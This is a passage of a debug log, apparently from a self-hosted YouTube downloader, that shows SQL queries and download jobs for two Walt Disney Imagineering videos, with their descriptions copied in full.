Olaf: Bringing an Animated Character to Life in the Physical World | Disney Research/Olaf: Bringing an Animated Character to Life in the Physical World | Disney Research [d-WdUYdOdHY].NA", "id" => "d-WdUYdOdHY", "original_url" => "https://www.youtube.com/watch?v=d-WdUYdOdHY", "playlist_index" => 2, "title" => "Olaf: Bringing an Animated Character to Life in the Physical World | Disney Research", "upload_date" => "20260317"} 18:55:16.621 [debug] QUERY OK source="sources" db=0.2ms idle=992.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:55:16.621 [debug] QUERY OK source="sources" db=0.1ms idle=992.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:16.622 [debug] QUERY OK source="media_items" db=0.5ms idle=992.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-17 00:00:00Z], 2] 18:55:16.624 [debug] QUERY OK source="media_items" db=1.2ms idle=993.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Animated characters often move in non-physical ways and have proportions that are far from a typical walking robot. This provides an ideal platform for innovation in both mechanical design and stylized motion control. In this video, we bring Olaf to life in the physical world, relying on reinforcement learning guided by animation references for control.\nPublication link: https://arxiv.org/abs/2512.16705\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...", "Olaf: Bringing an Animated Character to Life in the Physical World | Disney Research", "93c1f02b-66d3-47d6-a08d-cd884c2334bd", "d-WdUYdOdHY", "https://www.youtube.com/watch?v=d-WdUYdOdHY", false, false, 2, "/downloads/Walt Disney Imagineering/2026-03-17 Olaf: Bringing an Animated Character to Life in the Physical World | Disney Research/Olaf: Bringing an Animated Character to Life in the Physical World | Disney Research [d-WdUYdOdHY].NA", false, false, 2, [], 98, ~U[2026-03-17 00:00:00Z], ~U[2026-03-30 22:55:16Z], ~U[2026-03-30 22:55:16Z], "Animated characters often move in non-physical ways and have proportions that are far from a typical walking robot. This provides an ideal platform for innovation in both mechanical design and stylized motion control. In this video, we bring Olaf to life in the physical world, relying on reinforcement learning guided by animation references for control.\nPublication link: https://arxiv.org/abs/2512.16705\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...", "Olaf: Bringing an Animated Character to Life in the Physical World | Disney Research", "d-WdUYdOdHY", "https://www.youtube.com/watch?v=d-WdUYdOdHY", nil, false, "/downloads/Walt Disney Imagineering/2026-03-17 Olaf: Bringing an Animated Character to Life in the Physical World | Disney Research/Olaf: Bringing an Animated Character to Life in the Physical World | Disney Research [d-WdUYdOdHY].NA", false, 2, ~U[2026-03-17 00:00:00Z]] 18:55:16.624 [debug] QUERY OK source="sources" db=0.2ms idle=34.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:16.624 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:55:16.625 [debug] QUERY OK source="media_items" db=0.3ms idle=3.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12001] 18:55:16.625 [info] Kicking off download for media item #12001 (d-WdUYdOdHY) 18:55:16.626 [debug] QUERY OK source="tasks" db=0.1ms idle=2.1ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [1720, 12001, ~U[2026-03-30 22:55:16Z], ~U[2026-03-30 22:55:16Z]] 18:55:16.627 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Disney Adventure - the largest ship in the Disney Cruise Line fleet and the first designed specifically for the Southeast Asia market - is now sailing for all guests to enjoy. Imagineers designed this ship to be classic and modern, blending traditional Disney elements with cutting‑edge technology.\n\nDiscover how Imagineers transformed a half‑built vessel into a fully immersive Disney experience filled with groundbreaking technology, storytelling, and innovation at sea. This required extensive research, major redesigns, and innovative engineering, which delivered remarkable spaces like Imagination Garden, San Fransokyo Street, and so much more.\n\n🔑 Key Takeaways\n→ How Imagineers redesigned an existing ship into a fully Disney vessel\n→ All‑new stage technology with transparent LED walls and hidden speaker arrays\n→ Disney sets a new bar with its largest fireworks show at sea - Lion King: Celebration in the Sky fireworks spectacular\n\n📋 Chapters\nAdventure Overview: 1:13\nDisney Cruise Line Origins: 2:35\nImagination Gardens: 5:40\nOceaneers Club: 13:03\nRotational Dining: 16:05\nFireworks at Sea: 19:10\n\n📖 Read More on Disney Parks Blog → https://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nCome along as we take you on an inside look at Walt Disney Imagineering. Inspired by how Walt took us along during the development of Disneyland, this new series brings you into the creative and design journey as Disney Imagineers create new, innovative experiences for guests to enjoy at Disney Parks around the world!\n\n🔍 Explore More Episodes\n🤖 R&D → \u00A0\u00A0\u00A0•\u00A0Real-Life\u00A0Olaf\u00A0Robot\u00A0&\u00A0Inside\u00A0Imagineering...\u00A0\u00A0\n👻 Foolish Mortals → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Haunted\u00A0Mansion,...\u00A0\u00A0\n🏰 Building Castles → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Building\u00A0Castles\u00A0\u00A0\n🎤 On With The Show! → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0On\u00A0With\u00A0The\u00A0Show...\u00A0\u00A0\n🎢 Let's Ride → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Let's\u00A0Ride\u00A0\u00A0\n🎶 Soundscapes → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Soundscapes\u00A0\u00A0\n🦾 Audio-Animatronics® → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Audio-Animatronics®\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n💬 Drop a 🚢 in the comments if you hope to get on the Disney Adventure one day!", "filename" => "/downloads/Walt Disney Imagineering/2026-03-10 Insider's Look at Disney Cruise Line's BIGGEST Ship in the Fleet | We Call It Imagineering!/Insider's Look at Disney Cruise Line's BIGGEST Ship in the Fleet | We Call It Imagineering! [D2bWh5wTlZ0].NA", "id" => "D2bWh5wTlZ0", "original_url" => "https://www.youtube.com/watch?v=D2bWh5wTlZ0", "playlist_index" => 3, "title" => "Insider's Look at Disney Cruise Line's BIGGEST Ship in the Fleet | We Call It Imagineering!", "upload_date" => "20260310"} 18:55:16.627 [debug] QUERY OK source="sources" db=0.1ms idle=2.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:55:16.627 [debug] QUERY OK source="sources" db=0.1ms idle=2.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:16.628 [debug] QUERY OK source="media_items" db=0.5ms idle=1.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-10 00:00:00Z], 2] 18:55:16.633 [debug] QUERY OK source="media_items" db=4.0ms idle=2.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Disney Adventure - the largest ship in the Disney Cruise Line fleet and the first designed specifically for the Southeast Asia market - is now sailing for all guests to enjoy. Imagineers designed this ship to be classic and modern, blending traditional Disney elements with cutting‑edge technology.\n\nDiscover how Imagineers transformed a half‑built vessel into a fully immersive Disney experience filled with groundbreaking technology, storytelling, and innovation at sea. This required extensive research, major redesigns, and innovative engineering, which delivered remarkable spaces like Imagination Garden, San Fransokyo Street, and so much more.\n\n🔑 Key Takeaways\n→ How Imagineers redesigned an existing ship into a fully Disney vessel\n→ All‑new stage technology with transparent LED walls and hidden speaker arrays\n→ Disney sets a new bar with its largest fireworks show at sea - Lion King: Celebration in the Sky fireworks spectacular\n\n📋 Chapters\nAdventure Overview: 1:13\nDisney Cruise Line Origins: 2:35\nImagination Gardens: 5:40\nOceaneers Club: 13:03\nRotational Dining: 16:05\nFireworks at Sea: 19:10\n\n📖 Read More on Disney Parks Blog → https://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nCome along as we take you on an inside look at Walt Disney Imagineering. Inspired by how Walt took us along during the development of Disneyland, this new series brings you into the creative and design journey as Disney Imagineers create new, innovative experiences for guests to enjoy at Disney Parks around the world!\n\n🔍 Explore More Episodes\n🤖 R&D → \u00A0\u00A0\u00A0•\u00A0Real-Life\u00A0Olaf\u00A0Robot\u00A0&\u00A0Inside\u00A0Imagineering...\u00A0\u00A0\n👻 Foolish Mortals → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Haunted\u00A0Mansion,...\u00A0\u00A0\n🏰 Building Castles → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Building\u00A0Castles\u00A0\u00A0\n🎤 On With The Show! → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0On\u00A0With\u00A0The\u00A0Show...\u00A0\u00A0\n🎢 Let's Ride → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Let's\u00A0Ride\u00A0\u00A0\n🎶 Soundscapes → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Soundscapes\u00A0\u00A0\n🦾 Audio-Animatronics® → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Audio-Animatronics®\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n💬 Drop a 🚢 in the comments if you hope to get on the Disney Adventure one day!", "Insider's Look at Disney Cruise Line's BIGGEST Ship in the Fleet | We Call It Imagineering!", "dd19fd77-6f8b-472f-8942-37d7a8664c60", "D2bWh5wTlZ0", "https://www.youtube.com/watch?v=D2bWh5wTlZ0", false, false, 3, "/downloads/Walt Disney Imagineering/2026-03-10 Insider's Look at Disney Cruise Line's BIGGEST Ship in the Fleet | We Call It Imagineering!/Insider's Look at Disney Cruise Line's BIGGEST Ship in the Fleet | We Call It Imagineering! [D2bWh5wTlZ0].NA", false, false, 2, [], 98, ~U[2026-03-10 00:00:00Z], ~U[2026-03-30 22:55:16Z], ~U[2026-03-30 22:55:16Z], "Disney Adventure - the largest ship in the Disney Cruise Line fleet and the first designed specifically for the Southeast Asia market - is now sailing for all guests to enjoy. Imagineers designed this ship to be classic and modern, blending traditional Disney elements with cutting‑edge technology.\n\nDiscover how Imagineers transformed a half‑built vessel into a fully immersive Disney experience filled with groundbreaking technology, storytelling, and innovation at sea. This required extensive research, major redesigns, and innovative engineering, which delivered remarkable spaces like Imagination Garden, San Fransokyo Street, and so much more.\n\n🔑 Key Takeaways\n→ How Imagineers redesigned an existing ship into a fully Disney vessel\n→ All‑new stage technology with transparent LED walls and hidden speaker arrays\n→ Disney sets a new bar with its largest fireworks show at sea - Lion King: Celebration in the Sky fireworks spectacular\n\n📋 Chapters\nAdventure Overview: 1:13\nDisney Cruise Line Origins: 2:35\nImagination Gardens: 5:40\nOceaneers Club: 13:03\nRotational Dining: 16:05\nFireworks at Sea: 19:10\n\n📖 Read More on Disney Parks Blog → https://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nCome along as we take you on an inside look at Walt Disney Imagineering. Inspired by how Walt took us along during the development of Disneyland, this new series brings you into the creative and design journey as Disney Imagineers create new, innovative experiences for guests to enjoy at Disney Parks around the world!\n\n🔍 Explore More Episodes\n🤖 R&D → \u00A0\u00A0\u00A0•\u00A0Real-Life\u00A0Olaf\u00A0Robot\u00A0&\u00A0Inside\u00A0Imagineering...\u00A0\u00A0\n👻 Foolish Mortals → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Haunted\u00A0Mansion,...\u00A0\u00A0\n🏰 Building Castles → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Building\u00A0Castles\u00A0\u00A0\n🎤 On With The Show! → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0On\u00A0With\u00A0The\u00A0Show...\u00A0\u00A0\n🎢 Let's Ride → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Let's\u00A0Ride\u00A0\u00A0\n🎶 Soundscapes → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Soundscapes\u00A0\u00A0\n🦾 Audio-Animatronics® → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Audio-Animatronics®\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforg (truncated) 18:55:16.633 [info] {"args":{"id":12001},"id":1720,"meta":{},"system_time":1774911316633245428,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 18:55:16.633 [debug] QUERY OK source="sources" db=0.2ms idle=5.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:16.633 [debug] QUERY OK source="media_items" db=0.2ms idle=5.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12001] 18:55:16.633 [info] User scripts lifecyle file either not present or is empty. Skipping. 18:55:16.633 [debug] QUERY OK source="media_profiles" db=0.2ms idle=5.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:55:16.634 [debug] QUERY OK source="sources" db=0.3ms idle=1.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:16.634 [debug] QUERY OK source="media_items" db=0.4ms idle=0.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [11511] 18:55:16.634 [info] Kicking off download for media item #11511 (D2bWh5wTlZ0) 18:55:16.634 [debug] QUERY OK source="media_profiles" db=0.4ms idle=1.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:55:16.635 [debug] QUERY OK source="media_items" db=0.6ms idle=1.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12001] 18:55:16.636 [debug] QUERY OK source="media_metadata" db=0.1ms idle=1.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12001] 18:55:16.636 [debug] QUERY OK source="tasks" db=0.2ms idle=1.6ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [1721, 11511, ~U[2026-03-30 22:55:16Z], ~U[2026-03-30 22:55:16Z]] 18:55:16.636 [debug] Current batch of media processed. Will check again in 1000ms 18:55:16.636 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:55:16.637 [debug] QUERY 